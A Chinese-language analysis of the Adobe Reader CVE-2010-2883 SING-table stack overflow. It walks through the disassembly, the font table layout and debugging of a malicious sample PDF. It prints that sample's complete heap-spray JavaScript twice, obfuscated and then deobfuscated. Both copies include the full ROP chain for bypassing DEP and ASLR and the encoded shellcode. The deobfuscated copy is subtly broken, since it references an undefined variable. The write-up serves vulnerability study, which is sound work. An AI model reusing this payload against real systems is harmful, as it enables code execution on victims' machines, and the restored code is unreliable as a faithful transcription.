漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开特制的PDF文件就可能导致执行任意代码

调试环境

  • 操作系统——Windows XP SP3
  • 虚拟机——VMware Pro 16
  • 反汇编器——IDA Pro 6.8
  • 动态调试器——52OllyDbg
  • 漏洞软件——Adobe Reader 9.3.4
  • JS提取工具——PdfStreamDumper

定位漏洞

使用IDA的加载器加载CoolType.dll文件,按住shift+F12打开字符串窗口,ctrl+F搜索字符串可以发现”SING”字体

点击此项跳转到反汇编视图,左键单击选中字符数组,按住X查看到多处交叉引用

1
2
3
4
.rdata:0819DB4C ; char aSing[]
.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015A91+D2o
.rdata:0819DB4C ; sub_803DBF2+7Bo ...
.rdata:0819DB51 align 4

点击第二处的交叉引用进去即可发现存在栈溢出漏洞的地方,主要是strcat函数造成的栈溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
.text:0803DBF2 var_160         = byte ptr -160h
.text:0803DBF2 var_140 = dword ptr -140h
.text:0803DBF2 var_138 = dword ptr -138h
.text:0803DBF2 var_134 = dword ptr -134h
.text:0803DBF2 var_130 = dword ptr -130h
.text:0803DBF2 var_12C = dword ptr -12Ch
.text:0803DBF2 var_128 = dword ptr -128h
.text:0803DBF2 var_124 = dword ptr -124h
.text:0803DBF2 var_120 = dword ptr -120h
.text:0803DBF2 var_119 = byte ptr -119h
.text:0803DBF2 var_114 = dword ptr -114h
.text:0803DBF2 var_10C = dword ptr -10Ch
.text:0803DBF2 var_108 = byte ptr -108h
.text:0803DBF2 var_4 = dword ptr -4
.text:0803DBF2 arg_0 = dword ptr 8
.text:0803DBF2 arg_4 = dword ptr 0Ch
.text:0803DBF2 arg_8 = dword ptr 10h
.text:0803DBF2 arg_C = dword ptr 14h
.text:0803DBF2
.text:0803DBF2 push ebp
.text:0803DBF3 sub esp, 104h 分配栈空间为0x104字节
.text:0803DBF9 lea ebp, [esp-4]
.text:0803DBFD mov eax, ___security_cookie
.text:0803DC02 xor eax, ebp
.text:0803DC04 mov [ebp+108h+var_4], eax
.text:0803DC0A push 4Ch
.text:0803DC0C mov eax, offset sub_81847C4
.text:0803DC11 call __EH_prolog3_catch
.text:0803DC16 mov eax, [ebp+108h+arg_C]
.text:0803DC1C mov edi, [ebp+108h+arg_0]
.text:0803DC22 mov ebx, [ebp+108h+arg_4]
.text:0803DC28 mov [ebp+108h+var_130], edi
.text:0803DC2B mov [ebp+108h+var_138], eax
.text:0803DC2E call sub_8041626
.text:0803DC33 xor esi, esi
.text:0803DC35 cmp dword ptr [edi+8], 3
.text:0803DC39 mov [ebp+108h+var_10C], esi
.text:0803DC3C jz loc_803DDF9
.text:0803DC42 mov [ebp+108h+var_124], esi
.text:0803DC45 mov [ebp+108h+var_120], esi
.text:0803DC48 cmp dword ptr [edi+0Ch], 1
.text:0803DC4C mov byte ptr [ebp+108h+var_10C], 1
.text:0803DC50 jnz loc_803DDA2
.text:0803DC56 push offset aName ; "name"
.text:0803DC5B push edi ; int
.text:0803DC5C lea ecx, [ebp+108h+var_124]
.text:0803DC5F mov [ebp+108h+var_119], 0
.text:0803DC63 call sub_802178F
.text:0803DC68 cmp [ebp+108h+var_124], esi
.text:0803DC6B jnz short loc_803DCD6
.text:0803DC6D push offset aSing ; "SING"
.text:0803DC72 push edi ; int
.text:0803DC73 lea ecx, [ebp+108h+var_12C] 指向SING表入口
.text:0803DC76 call sub_8021ABE 处理SING表
.text:0803DC7B mov eax, [ebp+108h+var_12C]
.text:0803DC7E cmp eax, esi 判断是否为空
.text:0803DC80 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DC84 jz short loc_803DCBD
.text:0803DC86 mov ecx, [eax] 字体资源版本号,这里为1.0版本,即00 10 00 00
.text:0803DC88 and ecx, 0FFFFh
.text:0803DC8E jz short loc_803DC98 这里跳转
.text:0803DC90 cmp ecx, 100h
.text:0803DC96 jnz short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98: ; CODE XREF: sub_803DBF2+9Cj
.text:0803DC98 add eax, 10h 相对sing表入口偏移0x10处找到uniqueName
.text:0803DC9B push eax ; char * uniqueName域
.text:0803DC9C lea eax, [ebp+108h+var_108]
.text:0803DC9F push eax ; char * 目的地址是一段固定大小的栈空间
.text:0803DCA0 mov [ebp+108h+var_108], 0
.text:0803DCA4 call strcat 发生栈溢出

现在我们来查看一下导致栈溢出的strcat函数原型

1
2
char *strcat(char *dest, const char *src)
C 库函数 char *strcat(char *dest, const char *src) 把 src 所指向的字符串追加到 dest 所指向的字符串的结尾

由以上可得,调用strcat函数时,没有对uniqueName字段的字符串长度进行检测,直接将其追加到固定长度的[ebp+108h+var_108]尾处,若uniqueName的字符串长度加上[ebp+108h+var_108]本身的字符串长度大于[ebp+108h+var_108]的固定长度,则发生栈溢出,恶意攻击者可以插入精心构造的shellcode进而执行恶意代码

危险函数总结

第一类函数:scanfgets等输入读取函数,建议使用scanf_s安全函数进行替代

第二类函数:strcpystrcatsprintf等字符串拷贝函数,建议使用strncpystrncatsnprintf安全函数进行替代

样本分析

使用PdfStreamDumper(下载链接)加载样本文件(名企面试自助手册.pdf),点击Search_for选项的TTF Fonts

紧接着在Objects窗口选中目标Object,单击右键,选择”Save Decompressed Stream”即可将TTF文件保存至本地

TTF文件结构

TrueType字体通常包含在单个TrueType字体文件中,其文件后缀为.TTF。除此之外OpenType字体是以类似于TrueType字体的格式编码的POSTSCRIPT字体,OPENTYPE字体使用.OTF文件后缀。OPENTYPE还允许把多个OPENTYPE字体组合在一个文件中以利于数据共享。这些字体被称为TrueType字体集(TrueType Collection),其文件后缀为.TTC。

TrueType字体用machintosh的轮廓字体资源的格式编码,有一个唯一的标记名”sfnt”。Windows没有macintosh的位图字体资源格式,字体目录包含了字体格式的版本号和几个表,每个表都有一个TableEntry结构项,TableEntry结构包含了资源标记、校验和、偏移量和每个表的大小

TTF字体目录定义:

1
2
3
4
5
6
7
8
9
typedef struct
{
Fixed sfntversion;
USHORT numTables;
USHORT searchRange;
USHORT entrySelector;
USHORT rangeShift;
TableEntry entries[numTables];
} TableDirectory;

字体目录单个表的TableEntry定义:

1
2
3
4
5
6
7
typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
} TableEntry;

根据以上定义,我们将其与”SING”字体入口的十六进制数据进行对号入座,得到标记为:SING,校验和为:0xD9BCC8B5,相对文件的偏移量为0x0000011C,数据长度为0x00001DDF,也许你会疑惑,是不是数据项的数值错了?其实,是你错了呦,因为TrueType字体中的所有数据都使用big-endian(大尾)编码,最高位字节在最前面

1
2
3
4
53 49 4E 47	--tag
D9 BC C8 B5 --checkSum
00 00 01 1C --offset
00 00 1D DF --length

uniqueName域

根据相对文件偏移0x11C定位到SING字体的真正位置

根据之前的反汇编代码,再偏移0x10即可找到uniqueName域

执行strcat后,会将”58 E0 8D AD”起始的部分复制到[ebp+108h+var_108],直到遇见NULL字符串终止符才停止复制

动态调试验证

使用OD加载AcroRd32.exe(Adobe Reader 9.3.4版本),按下F9运行,才能加载CoolType.dll文件

使用ctrl+G跳转到0x0803DC6D处,按F2下断点,再使用Adobe Reader打开样本文件,此时程序暂停运行

执行到call strcat前可以看到strcat将会把0x06BE1D60的内容复制到0x0012E4D8(EBP)

执行完后strcat后,0x0012E4D8后的内容发生改变,返回地址已经被替换成攻击者精心构造的地址

反汇编中跟随0x4A82A714,可以找到第一个ROP指令

此时的栈顶为0x0C0C0C0C,通过嵌入到PDF的Javascript实现Heap Spary,进而跳入shellcode执行代码。0x0C0C0C0C是绕过DEP的关键部分,利用ROP实现

通过PDFStreamDumper提取的原始JS堆喷射代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj = unescape;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000"+
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000) //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x1f0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";

还原后的JS堆喷射代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
var junk;
for(i = 0; i < 28002; i++)
junk += 0x78;
var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000"+
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008")
var block = unescape("\x25\x750c0c\x25\x750c0c")
while(block.length + 20 + 8 < 65536) block += block;
SP = block.substring(0, (0x0c0c-0x24)/2);
SP += shellcode;
SP += block;
while(slackspace.length < 0x80000)
slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for(count = 0; count < 0x1f0; count++) memory[count] = bigblock + "s";

执行完pop esp后堆栈的情况

ROP指令2

ROP指令3

ROP指令4

构造CreateFileA函数地址的ROP

CreateFileA在栈上的参数如下:

CreateFileMapping在栈上的参数如下:

MapViewOfFile在栈上的参数如下:

memcpy在栈上的参数如下:

目的地址为MapViewOfFile的返回地址,源地址为真正的shellcode代码,将其复制到可执行可读写的区域,绕过DEP保护。由于构造的ROP均位于不受ASLR保护的icucnv36.dll,所以也可以绕过ASLR保护